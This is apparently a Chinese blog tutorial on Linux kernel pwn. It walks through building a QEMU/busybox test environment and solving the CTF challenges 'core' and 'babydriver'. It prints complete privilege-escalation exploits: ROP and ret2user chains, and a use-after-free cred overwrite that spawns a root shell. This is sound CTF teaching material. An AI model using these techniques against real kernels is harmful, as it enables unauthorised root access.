环境搭建这一部分是参考的arttnba3师傅的这篇博客,Linux Kernel II:内核简易食用指北 。
这里简化了文章中的许多内容,旨在快速的搭建起一个kernel pwn的环境和理解pwn题中的一些关键文件的来源。如果想对kernel的知识有更深的一些了解,十分推荐去看arttnba3师傅的原文。
1.安装依赖1 2 3 $ sudo apt-get update $ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils $ qemu flex libncurses5-dev libssl-dev bc bison libglib2.0 -dev libfdt-dev libpixman-1 -dev zlib1g-dev libelf-dev
Q
2.获取内核镜像直接下载发行版中已有的内核镜像,首先用以下命令列出可以下载的内核镜像:
1 $ sudo apt search linux-image-
ARDUINO
这里我选择的是
1 $ sudo apt download linux-image-unsigned -6.8 .0 -40 -generic
ARDUINO
下载下来是一个deb文件,解压:
1 $ dpkg -X ./linux-image-unsigned-6 .8.0-40 -generic_6.8.0-40 .40~22.04.3_amd64.deb extract
SUBUNIT
其中,\extract\boot下的vmlinuz-6.8.0-40-generic就是我们之后经常见到的bzImage内核镜像文件。
使用 busybox 构建文件系统 1.编译busybox首先可以在https://busybox.net/downloads/ 这里下载自己想要的版本。我选择的是busybox-1.37.0.tar.bz2这个版本
1 $ wget https:// busybox.net/downloads/ busybox-1.37 .0 .tar.bz2
AWK
解压:
1 $ tar -jxvf busybox-1.37 .0 .tar.bz2
CRYSTAL
接下来我们配置编译选项:
1 2 $ cd busybox-1 .37.0 /$ make menuconfig
POWERSHELL
进入到图形化界面,使用空格勾选Settings –>**Build static binary (no shared libs) (NEW)**。
接下来就是编译:
1 2 $ make -j$( nproc)$ make install
CRYSTAL
编译完成后会生成一个 _install 目录,接下来我们将会用它来构建文件系统。
2.构建文件系统初始化:
1 2 3 4 5 6 $ cd _install/$ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}$ touch etc/inittab$ mkdir etc/init.d$ touch etc/init.d/rcS$ chmod +x ./etc/init.d/rcS
SHELL
配置 etc/inttab ,写入如下内容:
1 2 3 4 5 6 ::sysinit:/etc/init.d/rcS ::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a::shutdown:/bin/umount -a -r::restart:/sbin/init
ASCIIDOC
然后在_install目录下创建init文件,写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/bin/sh chown -R root:root /chmod 700 /rootchown -R ctf:ctf /home/ctf mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmpmkdir /dev/pts mount -t devpts devpts /dev/ptsecho 1 > /proc/sys/kernel/dmesg_restrictecho 1 > /proc/sys/kernel/kptr_restrictecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" cd /home/ctf su ctf -c sh poweroff -d 0 -f
BASH
添加可执行权限:
接下来配置用户组:
1 2 3 4 5 $ echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd$ echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd$ echo "root:x:0:" > etc/group$ echo "ctf:x:1000:" >> etc/group$ echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
SHELL
3.打包镜像使用如下命令打包文件系统为 cpio 格式
1 $ find . | cpio -o --format =newc > .. /.. /rootfs.cpio
ROUTEROS
这里我打包到了桌面上,当然这里可以打包到任意喜欢的位置。
4.使用qemu运行内核首先下载qemu:
1 2 $ sudo apt update$ sudo apt install qemu-system -x86 qemu-utils
GAMS
将之前的rootfs.cpio和bzImage(就是这个:vmlinuz-6.8.0-40-generic)放在同一个目录下
然后我们编写启动脚本:
向脚本中写入:
1 2 3 4 5 6 7 8 9 10 11 #!/bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -monitor /dev/null \ -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \ -cpu kvm64,+smep \ -smp cores=2,threads=1 \ -nographic \ -s
BASH
接下来运行脚本:
启动成功:
1 2 3 4 5 6 7 8 9 Boot took 5.24 seconds ~ $ ls / bin etc init lib64 proc sbin tmp dev home lib linuxrc root sys usr ~ $ whoami ctf ~ $
TCL
至此,我们构建了一个十分简单内核并且成功运行。
kerinel pwn的一些基础知识关于这个部分,网上已经有不少优秀的文章了,并且kernel的知识多的吓人,我在此就不多做赘述了,为大家贴出几篇优秀的文章:
ctfwiki
Linux Kernel Pwn 初探
钞sir师傅的论坛
Linux Kernel PWN | 01 From Zero to One
一些常用的命令和调试方法 常用的命令打包文件系统为 cpio 格式:
1 $ find . | cpio -o --format =newc > .. /rootfs.cpio
ROUTEROS
解压cpio文件:
1 $ cpio -idmv < rootfs.cpio
CRYSTAL
如果我们用file 命令发现文件经过gzip压缩,就像这样:
1 2 $ file ../rootfs.cpio ../rootfs.cpio: gzip compressed data , last modified: Tue Jul 4 08 :39 :15 2017 , max compression, from Unix, original size modulo 2 ^32 2844672
FORTRAN
就要使用:
1 2 $ gunzip -c ../rootfs.cpio > rootfs.cpio.extracted $ cpio -idmv < rootfs.cpio.extracted
SHELL
由于我们在kernel中写exp要用c语言并且编译为可执行程序,所以要用到:
1 $ gcc exp .c -static -masm=intel -g -o exp
AUTOIT
有时题目不会给我们vmlinux这个文件,我们可以用脚本提取出来,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。 。 这里我们也直接给出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh check_vmlinux () { readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 }try_decompress () { for pos in `tr "$1 \n$2 " "\n$2 =" < "$img " | grep -abo "^$2 " ` do pos=${pos%%:*} tail -c+$pos "$img " | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img " ]then echo "Usage: $me <kernel-image>" >&2 exit 2fi tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp " 0 try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd check_vmlinux $img echo "$me : Cannot find vmlinux." >&2
BASH
把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:
1 ./extract-vmlinux ./bzImage > vmlinux
BASH
之后我们就可以用ROPgadget或者ropper找gadget了。
动态调试的方法介绍一下使用GDB进行动调的方法:
首先我们要得到.ko驱动的符号表,这个地址在内核中的/sys/module/core/section/.text里,可以用cat 来查看,但是这个位置一般都需要root权限,为了方便调试,要修改init中的启动权限:
1 2 #setsid /bin/ cttyhack setuidgid 1000 /bin/ sh setsid /bin/ cttyhack setuidgid 0 /bin/ sh -> root
GRADLE
接下来启动内核,使用cat /sys/module/core/section/.text 得到.text的地址。
使用gdb ./vmlinux -q 启动gdb, 但是此时没有加载驱动.ko的符号表,需要使用
1 pwndbg> add-symbol-file filename.ko textaddr
SMALI
来加载,
然后就可以使用b 下断点了,之后再使用
1 pwndbg > target remote localhost:1234
APACHE
就可以连接上kernel了。
两个例题 core解压完成后有四个文件,
bzImage:压缩的内核映像
core.cpio:文件系统映像
start.sh:用于启动 kernel 的 shell 的脚本
vmlinux:静态链接的可执行文件格式的 Linux 内核
先让我们查看一下start.sh的内容:
1 2 3 4 5 6 7 8 9 qemu-system-x86_64 \ -m 64 M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
LIVESCRIPT
启用了kaslr保护,并且最好将64M改为128M或者256M,否则可能会启动失败。
接下来把core.cpio解压出来,查看init文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -smkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
BASH
从上面的脚本注意到:/proc/kallsyms的内容被转储到了/tmp/kallsyms,这就意味着我们可以在普通权限下得到函数的地址。
然后,让我们着重分析core.ko这个文件,checksec一下:
1 2 3 4 5 6 Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) Stripped: No
YAML
拖进ida分析,
先来看看init函数:在/proc 文件系统中动态创建一个名为 core 的虚拟文件,我们对ioctl等驱动函数的访问就是通过这个文件来实现的。同时在core_fops里定义了三个回调函数:core_write ,core_ioctl ,core_release 。
1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 438L L, 0L L, &core_fops); printk(&unk_2DE); return 0L L; }
CSHARP
exit_core函数:移除/proc/core
1 2 3 4 5 6 7 8 __int64 exit_core () { __int64 result; if ( core_proc ) return remove_proc_entry ("core" ) ; return result; }
ASPECTJ
core_release函数:
1 2 3 4 5 __int64 core_release () { printk (&unk_204); return 0 LL; }
SCSS
core_ioctl函数:定义了三条命令,我们可以使用ioctl(fd, cmd, …)来执行不同的操作。可以看到,当cmd=0x6677889C时,我们可以设置off这个全局变量的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl(__int64 a1 , int a2 , __int64 a3 ) { switch ( a2 ) { case 0x6677889B : core_read(a3 ); break; case 0x6677889C : printk(&unk_2CD); off = a3 ; break; case 0x6677889A : printk(&unk_2B 3); core_copy_func(a3 ); break; } return 0 LL; }
MIPSASM
core_read函数:存在canary,并且发现** copy_to_user(a1, &v5[off], 64LL);**可以从v5[off]的位置拷贝64字节到用户空间上,之前提到off的值是可以被控制的,那么我们就可以轻松的泄露出canary的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall core_read(__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64 ]; unsigned __int64 v6; v6 = __readgsqword (0 x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16 LL; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy(v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(a1, &v5[off], 64 LL); if ( !result ) return __readgsqword (0 x28u) ^ v6; __asm { swapgs } return result; }
SQF
core_copy_func函数:注意到传入的a1是__int64型,但是下面使用qmemcpy时是unsigned型,意味着我们可以使用负数来溢出。那么接下来我们只需要控制全局变量name 的值就可以控制程序执行流了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall core_copy_func(__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword (0 x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0 xFFFFFFFFLL; } else { result = 0 LL; qmemcpy(v2, &name , (unsigned __int16 )a1); } return result; }
SQF
core_write函数:前面提到这是FOP回调定义的函数,所以我们直接使用write 这个函数,就能将数据传入name中。
1 2 3 4 5 6 7 8 __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { printk (&unk_215); if ( a3 <= 0 x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk (&unk_230); return 0 xFFFFFFF2LL; }
SCSS
至此,逆向的工作就差不多了,漏洞利用的流程也很简单:
1.设置off以泄露canary
2.将payload传入name
3.利用负数溢出打ROP
但是,还有一个小问题没有解决:本题是开启了KASLR保护的,我们还需要泄露函数地址和基地址。 先介绍几个概念:
raw_vmlinux_base:KASLR 加工前的内核加载基址
vmlinux_base:KASLR 加工后的内核加载基址
我们需要得到一个KASLR对内核基址的偏移,这个偏移offset=vmlinux_base - raw_vmlinux_base。
然后我们就可以通过这个offset得到其他函数和gadget的实际加载地址了。
raw_vmlinux_base的值可以通过checksec vmlinux 得到:由于本题没开PIE,所以就是下面的0xffffffff81000000。
1 2 3 4 5 6 7 8 9 Arch: amd64-64-little Version: 4.15 .8 RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0xffffffff81000000) Stack: Executable RWX: Has RWX segments Stripped: No
YAML
对于本题,由于内核符号表(/tmp/kallsyms)可读,所以我们选择泄露commit_creds 和prepare_kernel_cred 这两个函数。
这两个函数的偏移我们可以直接写python脚本来泄露:
1 2 3 4 5 from pwn import * elf = ELF("./vmlinux" ) raw_vmlinux_base = 0xffffffff81000000 print (f"commit_creds: " + hex (elf.symbols['commit_creds' ] - raw_vmlinux_base))print (f"prepare_kernel_cred: " + hex (elf.symbols['prepare_kernel_cred' ] - raw_vmlinux_base))
PYTHON
这里有一个问题,题目直接给出的vmlinux是有问题的,不能用,要用解压core.cpio出来得到的那个vmlinux。 得到:
1 2 commit_creds : 0 x9c8e0prepare_kernel_cred : 0 x9cce0
APACHE
gadget的寻找还是可以用ROPgadget或ropper,但有的时候单独只用一个可能会找不到某些gadget,但是另一个可以找到(真奇怪。
官方的exp,这是使用ROP的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell () { if (!getuid ()) { system ("/bin/sh" ); } else { puts ("[*]spawn shell error!" ); } exit (0 ); }size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ; size_t vmlinux_base = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen ("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets (buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } }size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); }void set_off (int fd, long long idx) { printf ("[*]set off to %ld\n" , idx); ioctl (fd, 0x6677889C , idx); }void core_read (int fd, char *buf) { puts ("[*]read to buf." ); ioctl (fd, 0x6677889B , buf); }void core_copy_func (int fd, long long size) { printf ("[*]copy from user with size: %ld\n" , size); ioctl (fd, 0x6677889A , size); }int main () { save_status (); int fd = open ("/proc/core" , 2 ); if (fd < 0 ) { puts ("[*]open /proc/core error!" ); exit (0 ); } find_symbols (); ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off (fd, 0x40 ); char buf[0x40 ] = {0 }; core_read (fd, buf); size_t canary = ((size_t *)buf)[0 ]; printf ("[+]canary: %p\n" , canary); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 10 ; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write (fd, rop, 0x800 ); core_copy_func (fd, 0xffffffffffff0000 | (0x100 )); return 0 ; }
ARDUINO
接下来把这个.c文件gcc后重新打包,启动kernel后执行这个文件,就可以提权了。
还有一种使用ret2user的方式,比起ROP更简单,但是只能在未开启 SMAP/SMEP 保护时使用,大体流程和上面差不多,只是在构造ROP时有一点点区别,这里就不再赘述了,给出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff813eb448 size_t commit_creds = NULL , prepare_kernel_cred = NULL ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" ); }void getRootPrivilige (void ) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); }void getRootShell (void ) { if (getuid ()) { printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" ); exit (-1 ); } printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" ); system ("/bin/sh" ); }void coreRead (int fd, char * buf) { ioctl (fd, 0x6677889B , buf); }void setOffValue (int fd, size_t off) { ioctl (fd, 0x6677889C , off); }void coreCopyFunc (int fd, size_t nbytes) { ioctl (fd, 0x6677889A , nbytes); }int main (int argc, char ** argv) { printf ("\033[34m\033[1m[*] Start to exploit...\033[0m\n" ); saveStatus (); int fd = open ("/proc/core" , 2 ); if (fd <0 ) { printf ("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n" ); exit (-1 ); } FILE* sym_table_fd = fopen ("/tmp/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } size_t offset = commit_creds - 0xffffffff8109c8e0 ; size_t canary; setOffValue (fd, 64 ); coreRead (fd, buf); canary = ((size_t *)buf)[0 ]; size_t rop_chain[0x100 ], i = 0 ; for (; i < 10 ;i++) rop_chain[i] = canary; rop_chain[i++] = (size_t )getRootPrivilige; rop_chain[i++] = SWAPGS_POPFQ_RET + offset; rop_chain[i++] = 0 ; rop_chain[i++] = IRETQ + offset; rop_chain[i++] = (size_t )getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write (fd, rop_chain, 0x800 ); coreCopyFunc (fd, 0xffffffffffff0000 | (0x100 )); }
CPP
babydriver题目链接:CISCN2017-babydriver
题目解压出来后,发现没有vmlinux文件,可以用上面提到的方法来提取。
还是先看看boot.sh这个脚本:
1 2 3 4 #!/bin/bash qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
BASH
开启了SEMP保护,没有KASLR。
解压rootfs.cpio后看看init:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.kochmod 777 /dev/babydevecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
BASH
加载了一个叫babydriver.ko的驱动,漏洞一般就在这里。
checksec一下:只开了NX
1 2 3 4 5 6 7 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0) Stripped: No Debuginfo: Yes
YAML
拖进ida分析,
首先是babydriver_init函数:初始化了/dev/babydev,在fop里定义了几个回调函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl babydriver_init() { __int64 v0; // rdx int v1; // edx __int64 v2; // rsi __int64 v3; // rdx int v4; // ebx class *v5; // rax __int64 v6; // rdx __int64 v7; // rax if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev" ) >= 0 ) { cdev_init(&cdev_0, &fops); v2 = babydev_no; cdev_0.owner = &_this_module; v4 = cdev_add(&cdev_0, babydev_no, 1LL); if ( v4 >= 0 ) { v5 = (class *)_class_create(&_this_module, "babydev" , &babydev_no); babydev_class = v5; if ( v5 ) { v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev"); v1 = 0; if ( v7 ) return v1; printk(&unk_351, 0LL, 0LL); class_destroy(babydev_class); } else { printk(&unk_33B, "babydev" , v6); } cdev_del(&cdev_0); } else { printk(&unk_327, v2, v3); } unregister_chrdev_region(babydev_no, 1LL); return v4; } printk(&unk_309, 0LL, v0); return 1; }
SMALI
babyopen函数:在我们使用open打开设备文件时,会分配一个0x40大小的chunk,并将该chunk的指针存在全局变量babydev_struct.device_buf中。
1 2 3 4 5 6 7 8 9 10 int __fastcall babyopen (inode *inode , file *filp ) { __int64 v2 ; _fentry__ (inode, filp ); babydev_struct .device_buf = (char * )kmem_cache_alloc_trace (kmalloc_caches [6 ], 37748928 LL, 64 LL); babydev_struct .device_buf_len = 64 LL; printk ("device open\n " , 37748928 LL, v2 ); return 0 ; }
WREN
babyrelease函数:在使用close(fd)时调用该函数,释放babydev_struct.device_buf指向的chunk,但是未将指针置NULL,存在UAF。
1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) { __int64 v2; _fentry__ (inode, filp); kfree (babydev_struct.device_buf); printk ("device release\n", filp, v2); return 0 ; }
SCSS
babyioctl函数:只有一个功能,当command=0x10001时,先free掉babydev_struct.device_buf指向的chunk,然后可以申请任意大小的堆块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5; _fentry__(filp, *&command, arg); v4 = v3; if ( command == 0x10001 ) { kfree (babydev_struct.device_buf); babydev_struct.device_buf = _kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk ("alloc done\n" , 0x24000C0 LL, v5); return 0LL ; } else { printk (&unk_2EB, v3, v3); return -22LL ; } }
CPP
babywrite和babyread函数就是正常的读写chunk,这里就不提了。
由上面的逆向分析可以发现,本题的漏洞是一个伪条件竞争的UAF漏洞,即:如果我们同时使用open打开两个设备,由于 babydev_struct.device_buf是一个全局变量,第二次会将第一次分配的空间给覆盖了。此时如果我们释放第一个,那么实际上就会将第二个给释放了,造成了UAF。
关于这里为什么要打开两个设备,不能只在一个设备里完成UAF,是因为:babyrelease这个函数并不是一个FOP定义的回调函数,我们不能使用。这个函数只会在close(fd)时自动调用,但是close后我们就不能再操作这个设备了。所以这里要用两个设备来构造UAF。
知道如何得到UAF,接下来就该想想怎么提权了,这里介绍两种方法:
改cred结构体这种方法的利用思路是,利用ioctl调整一个chunk的大小为一个cred结构体的大小(0xa8),然后关闭该设备,再fork()出一个新进程,那么刚才被释放的chunk就会被分配做新进程的cred结构体,而我们此时还有另一个设备可以操控该chunk,这时只需将该cred结构体中的euid改为0(root)即可完成提权。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> int main (void ) { printf ("[*]Start to exploit...\n" ); int fd1 = open ("/dev/babydev" ,2 ); int fd2 = open ("/dev/babydev" ,2 ); ioctl (fd1,0x10001 ,0xa8 ); close (fd1); int pid = fork(); if (pid < 0 ){ printf ("[x] Unable to fork the new thread, exploit failed.\n" ); } else if (pid == 0 ){ char buf[30 ] = {0 }; write (fd2,buf,28 ); if (getuid () == 0 ){ printf ("[+] Successful to get the root. Execve root shell now...\n" ); system ("/bin/sh" ); return 0 ; } else { printf ("[x] Unable to get the root, exploit failed.\n" ); return -1 ; } } else { wait (NULL ); } return 0 ; }
CPP
改tty结构体上面改cred结构体的方法很简单,但是上述是在kernel版本为4.4.72的情况下进行操作的,在kernel版本为4.5之后出现了一点变化,让我们看看源码:
4.4.721 2 3 4 5 6 void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }
CSHARP
4.51 2 3 4 5 6 void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
CSHARP
注意到,在4.5中添加了一个SLAB_ACCOUNT 标志位,我们知道内核中的 slab 分配器有一个优化机制,会将属性完全一致的缓存合并,以便复用同一套内存管理逻辑。例如,如果没有SLAB_ACCOUNT 标志,cred_jar 创建出来的 slab 缓存与 kmalloc 用于分配 192 字节对象的缓存(通常称为 kmalloc-192)属性一致,那么这两者就会合并在一起。
当在创建 cred_jar 时额外加上了 SLAB_ACCOUNT 标志,这就改变了 cred_jar 的属性。内核会认为它与 kmalloc-192 的缓存不再相同,从而不会进行合并。
结果就是,如果通过 kmalloc 分配 192 字节的内存,内核不会去使用 cred_jar 中的对象,而是使用 kmalloc-192 自己的缓存。这就要求如果想使用 cred_jar,必须通过直接调用 kmem_cache_alloc(cred_jar, …) 来分配对象,而不能通过 kmalloc 来间接分配。
也就是说,第一种方法从此失效了,我们必须寻找另外的方法来提权。
我们这里选用tty设备。
有关这个设备的介绍,,我们只在这里简要介绍了,详细的知识可以看这几篇文章:一文彻底讲清Linux tty子系统架构及编程实例 linux kernel pwn 常用结构体
当用户执行open(“/dev/ptmx”, O_RDWR),kernel会分配一个 tty_struct 结构体(本题版本该结构体大小为0x2e0)。
1 2 3 4 5 6 7 8 9 10 struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; ......
GAUSS
我们重点关注这个**const struct tty_operations *ops;**:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open )(struct tty_struct * tty, struct file * filp); void (*close )(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); ......
GAUSS
